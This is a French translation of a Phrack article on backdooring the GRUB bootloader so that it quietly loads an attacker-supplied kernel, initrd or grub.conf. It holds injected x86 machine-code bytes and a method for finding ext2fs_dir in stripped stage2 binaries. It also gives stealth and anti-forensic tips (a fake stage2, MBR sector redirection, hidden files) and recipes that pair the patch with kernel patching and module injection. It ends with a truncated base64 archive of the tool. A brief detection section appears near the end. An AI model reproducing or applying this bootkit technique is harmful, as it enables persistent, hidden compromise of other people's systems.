==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x0a of 0x14 |=-----------------=[ Hacking Grub for fun and profit ]=-----------------=| |=-----------------------------------------------------------------------=| |=---------------=[ CoolQ ]=---------------=| |=--------------=[Traduction de TboWan pour arsouyes.org ]=--------------=| |=-----------------------------------------------------------------------=| --[ Sommaire 0.0 - Survol des troyens/backdoor/rootkit 1.0 - Processus de démarrage avec Grub 1.1 Comment fonctionne Grub ? 1.2 stage1 1.3 stage1.5 & stage2 1.4 outils Grub 2.0 - Possibilité de charger un fichier spécifié 3.0 - Techniques de Hack 3.1 Comment charger un fake_file 3.2 Comment localiser ext2fs_dir 3.3 Comment pirater grub 3.4 Comment rendre les choses furtives 4.0 - Utilisation 5.0 - Détection 6.0 - Pour finir 7.0 - Ref 8.0 - hack_grub.tar.gz 9.0 - Notes Du Traducteur --[ 0.0 - Survol des troyens/backdoor/rootkit Depuis 1989, quand les premiers outils d'édition de logs sont apparus (Phrack 0x19, n°6 - Hiding out under Unix), les troyens/backdoor/rootkit ont grandement évolués. Depuis les premiers outils en mode utilisateur comme LRK4/5, jusqu'à ceux en mode noyau comme knark/adore/adore-ng, ensuite, apparu SuckIT, l'injection de modules et de nos jours, même le patching du kernel en static. Réfléchissez soigneusement, "Qu'est-ce qui est resté intouché ?" Oui, le chargeur d'amorçage [NDT : bootloader en anglais]. Donc, dans cet article, je présente une façon de faire que grub suivent vos ordre, c'est à dire qu'il puisse charger un autre noyau/image initrd/grub.conf quoi qu'il apparaisse dans le fichier grub.conf. P.S.: Ce papier est basé sur Linux et le système EXT2/3 sur architecture x86. --[ 1.0 - Processus de démarrage avec Grub ----[ 1.1 - Comment fonctionne Grub ? +------------+ | démarrage | | chargement | | MBR | +-----+------+ | +----------------------+ NON | Grub est dans le MBR +------->-------+ +----------+-----------+ | Oui | stage1 +-------+----------+ Oui +--------+---------+ | saut vers la | +--<---+ stage1.5 config? | | partition active | | +--------+---------+ +-------+----------+ | Non | | +-------+--------+ | | +-----+----------------+ | Chargement des | | stage1-> | Chargement du | | secteurs | | | | secteur de démarrage | | spécifiés | V +-----+----------------+ +-------+--------+ | | | ^ | | + - - - < - - - + Cf 1.3 | | | +---------+---------+ stage1.5 +-------->------+--------->----+ Chargement stage2 | +---------+---------+ | +---------------<--------+ V +------------+------------+ | Chargement du grub.conf | | Affichage du menu | +------------+------------+ | Interaction de l'utilisateur +-----------+------------+ | Chargement de l'image | | du noyau et démmarrage | +------------------------+ ----[ 1.2 - stage1 Le stage1 fait 512 octets, vous pouvez voire son source dans stage1/stage1.S . Il est installé dans le MBR ou dans le secteur de démarrage de la partition primaire. Sa tâche est simple - charger un secteur spécifié (défini dans stage2_sector) vers une adresse spécifiée (donnée dans stage2_address/stage2_segment). Si stage1.5 est configuré, le premier secteur de stage1.5 est chargé à l'adresse 0200:000; sinon, le premier secteur de stage2 est chargé à l'adresse 0800;000. ----[ 1.3 - stage1.5 & stage2 On sait que Grub est un chargeur qui gère les systèmes de fichiers, i.e. Grub peut comprendre et lire les fichiers à partir de différents systèmes de fichiers, sans l'aide de l'OS (Système d'Exploitation). Mais alors comment ? Le secret est dans stage1.5 et stage2. Jetez un coup d'oeuil dans /boot/grub, vous devriez trouver les fichiers suivants : stage1, stage2, e2fs_stage1_5, fat_stage1_5, ffs_stage1_5, minix_stage1_5, reiserfs_stage1_5, ... Nous avons mentionné stage1 en 1.2, le fichier stage1 sera installé dans le MBR ou sur le secteur de boot. Donc, même si vous supprimez le fichier stage1, le démarrage du système n'est pas affecté. Et que ce passe-t-il si on écrase de zéro les fichiers stage2 et *_stage1_5 ? Le système peut-il toujours démarrer ? La réponse est "non" pour la première et "oui" pour la dernière. Vous vous posez des questions sur la raison de tout ceci ? Alors, continuez votre lecture ... Regardons comment *_stage1_5 et stage2 sont générés : -------------------------------- BEGIN ----------------------------------- e2fs_stage1_5: gcc -o e2fs_stage1_5.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000 e2fs_stage1_5_exec-start.o e2fs_stage1_5_exec-asm.o e2fs_stage1_5_exec-common.o e2fs_stage1_5_exec-char_io.o e2fs_stage1_5_exec-disk_io.o e2fs_stage1_5_exec-stage1_5.o e2fs_stage1_5_exec-fsys_ext2fs.o e2fs_stage1_5_exec-bios.o objcopy -O binary e2fs_stage1_5.exec e2fs_stage1_5 stage2: gcc -o pre_stage2.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,8200 pre_stage2_exec-asm.o pre_stage2_exec-bios.o pre_stage2_exec-boot.o pre_stage2_exec-builtins.o pre_stage2_exec-common.o pre_stage2_exec-char_io.o pre_stage2_exec-cmdline.o pre_stage2_exec-disk_io.o pre_stage2_exec-gunzip.o pre_stage2_exec-fsys_ext2fs.o pre_stage2_exec-fsys_fat.o pre_stage2_exec-fsys_ffs.o pre_stage2_exec-fsys_minix.o pre_stage2_exec-fsys_reiserfs.o pre_stage2_exec-fsys_vstafs.o pre_stage2_exec-hercules.o pre_stage2_exec-serial.o pre_stage2_exec-smp-imps.o pre_stage2_exec-stage2.o pre_stage2_exec-md5.o objcopy -O binary pre_stage2.exec pre_stage2 cat start pre_stage2 > stage2 --------------------------------- END ------------------------------------ D'après la sortie ci-dessus, l'arrangment devrait être comme suit : e2fs_stage1_5: [start.S] [asm.S] [common.c] [char_io.c] [disk_io.c] [stage1_5.c] [fsys_ext2fs.c] [bios.c] stage2: [start.S] [asm.S] [bios.c] [boot.c] [builtins.c] [common.c] [char_io.c] [cmdline.c] [disk_io.c] [gunzip.c] [fsys_ext2fs.c] [fsys_fat.c] [fsys_ffs.c] [fsys_minix.c] [fsys_reiserfs.c] [fsys_vstafs.c] [hercules.c] [serial.c] [smp-imps.c] [stage2.c] [md5.c] On peut voir que e2fs_stage1_5 et stage2 sont similaires. Mais e2fs_stage1_5 est plus petit, il contient les modules de base (E/S disques, gestion des chaines, initialisation système, gestion des systèmes de fichiers ext2/3), tandis que stage2 est tout en un, il contient tout les modules de systèmes de fichiers, affichage, chiffrement, etc. start.S est très important pour Grub. stage1 va charger start.S vers 0200:0000 (si stage1_5 est configuré) ou 0800:0000 (sinon), et ensuite sauter vers cet endroit. La tâche de start.S est très simple (seulement 512 octets), il va charger le reste de stage1_5 ou stage2 vers la mémoire. La question est, puisque le code relatif au système de fichier n'a pas été chargé, comment grub peut-il connaître l'endroit où se trouve le reste des secteurs ? start.S fait le truc : -------------------------------- BEGIN ----------------------------------- blocklist_default_start: .long 2 /* C'est le secteur de début, en nombre de secteurs logiques depuis le début du disque, secteur 0 */ blocklist_default_len: /* C'est le nombre de secteurs à lire */ #ifdef STAGE1_5 .word 0 /* La commande "install" va remplir ceci */ #else .word (STAGE2_SIZE + 511) >> 9 #endif blocklist_default_seg: #ifdef STAGE1_5 .word 0x220 #else .word 0x820 /* C'est le segment de l'adresse de début vers où charger les données */ #endif firstlist: /* Ce point de repère doit être après la liste des données !!! */ --------------------------------- END ------------------------------------ Un exemple : # hexdump -x -n 512 /boot/grub/stage2 ... 00001d0 [ 0000 0000 0000 0000 ][ 0000 0000 0000 0000 ] 00001e0 [ 62c7 0026 0064 1600 ][ 62af 0026 0010 1400 ] 00001f0 [ 6287 0026 0020 1000 ][ 61d0 0026 003f 0820 ] On devrait interpreter ceci (en sens inverse) comme : charger 0x3f secteurs (commençants au n° 0x2664d0) vers 0x0820:0000, charger 0x20 secteurs (commençants au n° 0x266287) vers 0x1000:0000, charger 0x10 secteurs (commençants au n° 0x2662c7) vers 0x1600:000. Dans ma distrib, stage2 a 0xd4 (1+0x3f+0x20+0x10+0x64) secteurs, la taille du fichier est de 108328 octets, les deux correspondent bien (un secteur fait 512). Quand start.S fini de s'exécuter, stage1_5/stage2 est complètement chargé. start.S saute vers asm.S et continue de s'exécuter. Il reste toujours un problème, quand est-ce que stage1.5 est configuré ? En fait, stage1.5 n'est pas nécessaire. Sa tâche est de charger /boo/grub/stage2 en mémoire. Mais faites attention, stage1.5 utilise le système de fichier pour charger stage2 : il analyse la dentry, récupère l'inode de stage2, ensuite, sa liste des blocks. Donc, si stage1.5 est configuré, stage2 est chargé d'après le système de fichier; sinon, stage2 est chragé à la fois à partir de stage2_sector dans stage1 et la liste de secteurs dans pour stage2 start.S pour stage2. Pour que les choses soient clairs, supposez le scénario suivant : (ext2/ext3) # mv /boot/grub/stage2 /boot/grub/stage2.bak Si stage1.5 est configuré, le démarrage rate, stage1.5 ne peut trouver /boot/grub/stage2 dans le système de ficher. Mais si stage1.5 n'est pas configuré, le démarrage réussi ! C'est parce que mv ne change pas l'agencement mémoire de stage2, donc, stage2_sector reste le même, et pareil pour la liste de secteurs de stage2. Maintenant, stage1 (-> stage1.5) -> stage2. Tout est en place. asm.S va entrer en mode protégé, ouvrir /boot/grub/grub.conf (ou menu.lst), récupérer la configuration, afficher le menu et attendre pour une interraction de l'utilisateur. Après que l'utilisateur ai choisi le noyau, grub charge l'image du noyau spécifié (parfois l'image ramdisk aussi), et démarre le noyau. ----[ 1.4 - outils Grub Si votre grub est écrasé par windows, vous pouvez utiliser les outils grub pour le ré-installer. # grub --- grub > find /grub/stage2 <- Si vous avez une partition /boot or grub > find /boot/grub/stage2 <- Si vous n'avez pas de partition /boot --- (hd0,0) <= Le résultat de "find" grub > root (hd0,0) <- la racine de la partition de boot --- grub > setup (hd0) <- Si vous voulez installer grub en MBR or grub > setup (hd0,0) <- Si vous voulez installer grub --- sur le secteur de boot Checking if "/boot/grub/stage1" exists... yes Checking if "/boot/grub/stage2" exists... yes Checking if "/boot/grub/e2fs_stage1_t" exists... yes Running "embed /boot/grub/e2fs_stage1_5 (hd0)"... 22 sectors are embedded succeeded. <= Si vous installez grub sur le secteur de boot, ça rate Running "install /boot/grub/stage1 d (hd0) (hd0)1+22 p (hd0,0)/boot/grub/stage2 /boot/grub/grub.conf"... succeeded Done On peut voir que les outils grub essayent d'implanter stage1.5 si c'est possible. Si grub est installé dans le MBR, stage1.5 est localisé après le MBR, et fait 22 secteur en taille. Si grub est installé sur le secteur de boot, il n'y a pas assez de place pour implanter stage1.5 (le superblock à un offset de 0x400 pour les partitions ext2/ext3, seulement 0x200 pour stage1.5), et donc, la commande "embed" rate. Référez-vous au manuel de grub et au code source pour plus d'informations. --[ 2.0 - Possibilité de charger un fichier spécifié Grub a son propre mini-système de fichiers pour ext2/3. Il utilise grub_open(), grub_read() et grub_close() pour ouvrir/lire/fermer un fichier. Maitnenant, jettons un coup d'oeuil à ext2fs_dir. /* preconditions: ext2fs_mount already executed, therefore supblk in buffer * known as SUPERBLOCK * returns: 0 if error, nonzero iff we were able to find the file * successfully * postconditions: on a nonzero return, buffer known as INODE contains the * inode of the file we were trying to look up * side effects: messes up GROUP_DESC buffer area */ int ext2fs_dir (char *dirname) { int current_ino = EXT2_ROOT_INO; /*start at the root */ int updir_ino = current_ino; /* the parent of the current directory */ ... } Admettons que la ligne dans grub.conf soit : kernel=/boot/vmlinuz-2.6.11 ro root=/dev/hda1 grub_open appelle ext2fr_dir("/boot/vmlinuz-2.6.11 ro root=/dev/hda1"), ext2fs_dir mes les informations de l'inode dans INODE, alors, grub_read peut utiliser INODE pour récupérer les données de n'importe quel offset (la correspondance est dans INODE->i_blocks[] pour les blocks directs). Le fonctionnement de ext2fr_dir est le suivant : 1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1 ^ inode = EXT2_ROOT_INO, Mettre les infos d'inode dans INODE; 2. /boot/vmlinuz-2.6.11 ro root=/dev/hda1 ^ trouver dentry dans "/", alors, mettre les infos d'inode de "/boot" dans INODE; 3. /boot/vmlinuz-2.6.11 ro root=/dev/hda1 ^ trouver la dentry dans "/boot", Alors, mettre l'info d'inode de "/boot/vmlinuz-2.6.11" dans INODE; 4. /boot/vmlinuz-2.6.11 ro root=/dev/hda1 ^ Le pointeur voit un espace, INODE est un fichier régulier, retourner 1 (succès), INODE ocntient les informations à propos de "/boot/vmlinuz-2.6.11". Si nous parasitons ce code, et retournons les infos d'inode de fake_file, grub va joyeusement charger fake_file, le considérant comme /boot/vmlinuz-2.6.11. On peut faire ceci : 1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1 ^ inode = EXT2_ROOT_INO; 2. boot/vmlinuz-2.6.11 ro root=/dev/hda1 ^ Le changer en 0x0, changer EXT2_ROOT_INO en l'inode de fake_file; 3. boot/vmlinuz-2.6.11 ro root=/dev/hda1 ^ les infos de EXT2_ROOT_INO(fake_file) sont dans INODE, le pointeur est sur "0x0", INODE est un fichier régulier, retourner 1. Puisque nous changeont l'argument de ext2fs_dir, est-ce que ça a des effets de bords ? N'oublions pas la dernière partie "ro root=/dev/hda1", ce sont les paramètres passés au noyau. Sans eux, le noyau ne démarrera pas correctement. (P.S.: faites juste "cat /proc/cmdline" pour voir les paramètres de votre noyau.) Bon, jetons un coup d'oeuil à la partie "kernel=..." kernel_func construit la ligne "kernel=..." static int kernel_func (char *arg, int flags) { ... /* Copy the command-line to MB_CMDLINE. */ grub_memmove (mb_cmdline, arg, len + 1); kernel_type = load_image (arg, mb_cmdline, suggested_type, load_flags); ... } Vous voyez ? Le arg et mb_cmdline ont deux copies de la chaine "/boot/vmlinuz-2.6.11 ro root=/dev/hda1" (Il n'y a pas de chevauchement, en fait, grub_memmove est le même que grub_memcpy). Dans load_image, vous trouvez que arg et mb_cmdline ne se mélangent pas. Donc, la conclusion est "aucun effet de bords". Si vous n'y croyez pas, vous pouvez ajouter du code pour retrouver ces conclusions. --[ 3.0 - Techniques de Hack Les techniques de hack devraient être générales pour toutes les versions de grub (sauf grub-ng) fournie avec toutes les distributions linux. ----[ 3.1 - Comment charger un fake_file On peut faire un jump au début de ext2fs_dir, ensuite, mettre le premier caractère de l'argument de ext2fs_dir à 0, mettre "current_ino = EXT2_ROOT_INO" à "current_ino = INODE_OF_FAKE_FILE", et revenir au saut. Attention : On ne peut charger fake_file que dans certaines conditions. e.g. : quand le système veut ouvrir /boot/vmlinuz-2.6.11, alors, on retourne /boot/file_fake; mais quand le système veut ouvrir /boot/grub/grub.conf, on doit retourner le bon fichier. Si le code continue de retourner fake_file, oups, aucun menu ne sera affiché. Le saut est facile, mais comment faire pour que "current_ino = INODE_OF_FAKE_FILE" ? int ext2fs_dir (char *dirname) { int current_ino = EXT2_ROOT_INO; /*start at the root */ int updir_ino = current_ino; /* the parent of the current directory */ ... EXT2_ROOT_INO est 2, donc, current_ino et updir_ino sont initialisés à 2. Le code assembleur correspondant doit être du genre de "movl $2, 0xffffXXXX($esp)". Mais gardez en tête l'optimisation : les deux sont assignés à 2, le résultat optimisé peut alors être "movl $2, 0xffffXXXX($esp)" et "movl $2, 0xffffYYYY($esp)", ou "movl $2, %reg" et ensuite "movl %reg, 0xffffXXXX($esp)" "movl %reg, 0xffffYYYY($esp)", ou d'autres variantes. Le type est int, la valeur, 2, alors, les possibilités de "xor %eax, %eax; inc %eax; inc %eax" est faible, c'est aussi la même chose pour "xor %eax, %eax; movb $0x2, %al". Ce qu'on a besoin, c'est de chercher 0x00000002 à de ext2fs_dir à ext2fs_dir + longueur (par exemple 100 octets), et alors, changer le 0x00000002 en INODE_OF_FAKE_FILE. static char ext2_embed_code[] = { 0x60, /* pusha */ 0x9c, /* pushf */ 0xeb, 0x28, /* jmp 4f */ 0x5f, /* 1: pop %edi */ 0x8b, 0xf, /* movl (%edi), %ecx */ 0x8b, 0x74, 0x24, 0x28, /* movl 40(%esp), %esi */ 0x83, 0xc7, 0x4, /* addl $4, %edi */ 0xf3, 0xa6, /* repz cmpsb %es:(%edi), %ds:(%esi) */ 0x83, 0xf9, 0x0, /* cmp $0, %ecx */ 0x74, 0x2, /* je 2f */ 0xeb, 0xe, /* jmp 3f */ 0x8b, 0x74, 0x24, 0x28, /* 2: movl 40(%esp), %esi */ 0xc6, 0x6, 0x00, /* movb $0x0, (%esi) '\0' */ 0x9d, /* popf */ 0x61, /* popa */ 0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp change_inode */ 0x9d, /* 3: popf */ 0x61, /* popa */ 0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp not_change_inode */ 0xe8, 0xd3, 0xff, 0xff, 0xff, /* 4: call 1b */ 0x0, 0x0, 0x0, 0x0, /* Longueur du nom du fichier noyau */ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, /* chaine du nom de fichier */ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, /* 48B en tout */ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; memcpy( buf_embed, ext2_embed_code, sizeof(ext2_embed_code)); Bien sûr, vous pouvez écrire votre propre algorithme de comparaison de chaines. /* embeded code, 2eme partie, change_inode */ memcpy( buf_embed + sizeof(ext2_embed_code), s_start, s_mov_end - s_start); modify_EXT2_ROOT_INO_to_INODE_OF_FAKE_FILE(); /* embeded code, 3eme partie, not_change_inode*/ memcpy( buf_embed + sizeof(ext2_embed_code) + (s_mov_end - s_start) + 5, s_start, s_mov_end - s_start); Le résultat ressemble à ceci : ext2fs_dir: not_change_inode: +------------------------+ +--------> +------------------------+ | push %esp <= jmp embed | | | push %esp | | mov %esp, %ebp | | | mov %esp, %ebp | | push %edi | | | push %edi | | push %esi +--------< | push %esi | | sub $0x42c, %esp | | | sub $0x42c, %esp | | mov $2, fffffbe4(%esp) | | | mov $2, fffffbe4(%esp) | | mov $2, fffffbe0(%esp) | | | mov $2, fffffbe0(%esp) | |back: | | | jmp back | +------------------------+ | +------------------------+ embed: +--------> change_inode: +------------------------+ +------------------------+ | save registers | | push %esp | | compare strings | | mov %esp, %ebp | | if match, goto 1 | | push %edi | | if not, goto 2 | | push %esi | | 1: restore registers | | sub $0x42c, %esp | | jmp change_inode | INODE_OF_ -> | mov $?, fffffbe4(%esp) | | 2: restore registers | FAKE_FILE -> | mov $?, fffffbe0(%esp) | | jmp not_change_inode | | jmp back | +------------------------+ +------------------------+ ----[ 3.2 - Comment localiser ext2fs_dir C'est la partie difficile. stage2 est généré par objcopy, alors, tout informations ELF sont retirées - AUCUNE TABLE DES SYMBOLES! Nous devons trouver certains PATRONS pour trouver ext2fs_dir. Le premier choix est log2 : #define long2(n) ffz(~(n)) static __inline__ unsigned long ffz (unsigned long word) { __asm__ ("bsfl %1, %0" :"=r" (word) :"r" (~word)); return word; } group_desc = group_id >> log2 (EXT2_DESC_PER_BLOCK (SUPERBLOCK)); La question est, ffz est déclaré comme __inline__, ce qui indique que PEUT-ÊTRE que cette fonction est inlinée[NDT1], PEUT-ÊTRE que non. Donc, nous abandonnons cette solution. Le choix suivant est SUPERBLOCK->s_inodes_per_group dans group_id = (current_ino - 1) / (SUPERBLOCK->s_inodes_per_group); #define RAW_ADDR(x) (x) #define FSYS_BUF RAW_ADDR(0x68000) #define SUPERBLOCK ((struct ext2_super_block *)(FSYS_BUF)) struct ext2_super_block{ ... __u32 s_inodes_per_group /* # Inodes per group */ ... } Alors, nous calculons que SUPERBLOCK->s_inodes_per_group est à l'adresse 0x68028. Cette adresse n'apparait que dans ext2fs_dir, donc, la possibilité de collision est faible. Après s'être localisé à 0x68028, on revient en arrière pour trouver le début de ext2fs_dir. Ici arrive une autre question, "comment identifier le début de ext2fs_dir ?" Bien sur, vous pouvez rechercher après 0xc3, c'est surement son ret. Mais que ce passera-t-il si c'est seulement une partie d'une instruction comme une operande ? Parfois, gcc ajoute aussi du code mort pour que les adresses de fonctions soient alignées (4 octets/8 octets/16 octets), et dans ce cas, comment éviter ce code mort ? Listons simplement toutes les combinaisons possibles ? Cette solution est praticable mais pas idéale. Maintenant, on remarque la fsys_table : struct fsys_entry fsys_table[NUM_FSYS + 1] = { ... # ifdef FSYS_FAT {"fat", fat_mount, fat_read, fat_dir, 0, 0}, # endif # ifdef FSYS_EXT2FS {"ext2fs", ext2fs_mount, ext2fs_read, ext2fs_dir, 0, 0}, # endif # ifdef FSYS_MINIX {"minix", minix_mount, minix_read, minix_dir, 0, 0}, # endif ... }; fsys_table est appellée de cette manière : if ((*(fsys_table[fsys_type].mount_func)) () != 1) Donc, notre truc, c'est de : 1. Chercher dans stage2 après la chaine ext2fs, et récupérer son offset, ensuite, convertir ça en adresse mémoire addr_1 (stage2 commence à partir de 0800:0000). 2. Chercher dans stage2 après addr_1, récupérer son offset, et ensuite, récupérer les 5 entiers (A, B, C, D, E), Aopen_device()->attemp_mount() for (fsys_type = 0; fsys_type < NUM_FSYS && (*(fsys_table[fsys_type].mount_func)) () != 1; fsys_type++); Regardez dans fsys_table fat est avant ext2, donc, fat_mount est appellé d'abord. Si fat_mount est modifié, Dieu seul connaitra le résultat. Pour rendre les choses plus sûres, nous choisissons minix_dir. Maintenant, votre stage2 peut charger votre file_fake. La taille reste la même mais la valeur de hashage a changé. ----[ 3.4 - Comment rendre les choses furtives Pourquoi doit-on utiliser /boot/grub/stage2 ? Nous pourrions faire que stage1 saute vers stage2_fake (cp stage2 stage2_fake, modify stage2_fake), pour que stage2 reste intacte. Si vous copiez stage2 vers stage2_fake, stage2_fake ne fonctionnera pas. Souvenez-vous de la liste des secteurs dans start.S. Vous devez changer la liste pour correspondre à file_fake, pas vers l'original stage2. Vous pouvez retrouver l'inode, récupérer i_block[], et ensuite, vous avez la liste des blocks (N'oubliez pas d'ajouter l'offset dans la partition). Vous devrez cours-circuiter VFS pour avoir les infos d'inode, voir [1]. Puisque vous utilisez stage2_fake, l'adresse correspondante dans stage1 devrait être modifiée. Si stage1.5 n'est pas installé, c'est facile, vous devez juste changer stage2_sector de stage2_orig vers stage2_fake (MBR est modifié). Si stage1.5 est installé et que vous êtes paresseux et intrepide, vous pouvez passer stage1.5 - modifiez stage2_address, stage2_sector, stage2_segment de stage1. C'est risqué, parce que 1) si la "détection de virus" est activée dans le BIOS, la modificication de MBR va-être détectée 2) le "Grub stage1.5" et "Grub loading, please wait" changeront en "stage2". C'est rapide, pouvez-vous le voir sur votre PC PUISSANT ? Si vous voulez vraiment être sfurtis, alors, vous pouvez pirater stage1.5, avec des techniques similaires aux 3.1 et 3.2. n'oubliez pas de changer la liste des secteurs de stage1.5 (start.S) - vous devrez incruster votre code à la fin. Vous pouvez rendre les choses encore plus furtives : rendre stage2_fake/kernel_fake caché du système de fichier, e.g. retirer son entrée de /boot/grub. Et à propos de l'anti-forensick? changez l'inode_of_stage2 vers inode_from_1_to_10. voir [2] --[ 4.0 - Utilisation Combinée avec d'autres techniques, regardez comment notre hack_grub peut être puissant. Notes : Tous les fichiers doivent être dans la même partition! 1) Combiné à des patchs static du noyau a) cp kernel.orig kernel.fake b) patchez statiquement le kernel.fake[3] c) cp stage2 stage2.fake d) hack_grub stage2.fake kernel.orig inode_of_kernel.fake e) cachez kernel.fake et stage2.fake (optionnel) 2) Combiné avec de l'injection de modules a) cp initrd.img.orig initrd.img.fake b) faite votre injection de module avec initrd.img.fake, e.g. ext3.[k]o [4] c) cp stage2 stage2.fake d) hack_grub stage2.fake initrd.img inode_of_initrd.img.fake e) cachez initrd.img.fake et stage2.fake (optionnel) 3) Faire un faux grub.conf 4) et d'autres... --[ 5.0 - Détection 1) Gardez un oeuil au MBR et aux 63 secteurs qui suivent, et aussi aux secteur de boot primaires. 2) Si non 1 a) si stage1.5 est configuré, comparez les secteurs de 3 (adresse absolue, MBR est le secteur n°1) avec /boot/grub/e2fs_stage1_5 b) si stage1.5 n'est pas configuré, regardez si stage2_sector pointe vers le réel fichier /boot/grub/stage2 3) Vérifiez la cohérence des fichiers e2fs_stage1_5 et stage2 4) Si non 3 (Hé, êtes-vous vraiment un sysadmin qualifié ?) if a) Si vous avez un doute à propos du noyau sur le disque, dumpez le noyau et faite une comparaison octet-à-octet avec celui sur le disque. voir [5] pour plus d'info. b) Si vous avez des doutes avec les modules, c'est un problème difficile, peut-être pouvez-vous les dumper et les désassembler ? --[ 6.0 - Pour finir Lilo est un autre chargeur de démarrage, mais ne gère pas le système de fichier. Donc Lilo n'est pas de système de fichier construit à l'intérieur. Il se base sur /boot/bootsect.b et /boot/map.b. Donc, si vous êtes paresseux, faites un faux lilo.conf, qui affiche a.img mais charge b.img. Ou alors, vous pouvez faire que lilo charge /boot/map.b.fake. Les détails dépendent de vous-même. Merci à madsys & grip2 pour leur aide pour résoudre certaines choses difficiles à cracker; merci à airsupply et autres types pour des exemples de stage2 (redhat 7.2/9/as3, Fedora Core 2, gentoo, debian et ubuntu), merci ) zhtq pour ses commentaires à propos de l'écriture d'article. --[ 7.0 - Ref [1] Conception et implémentation du Second Extended Filesystem http://e2fsprogs.sourceforge.net/ext2intro.html [2] Méthodes pour cacher des fichier sous ext2/3 (Chinois) http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security& Number=545342&page=0&view=collapsed&sb=5&o=all&vc=1 [3] Static Kernel Patching http://www.phrack.org/show.php?p=60&a=8 [4] Infecting Loadable Kernel Modules http://www.phrack.org/show.php?p=61&a=10 [5] Façons de détecter des rootkits pour noyau 2.6 (Chinois) http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security& Number=540646&page=0&view=collapsed&sb=5&o=all&vc=1 --[ 8 - hack_grub.tar.gz begin-base64 644 hack_grub.tar.gz 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 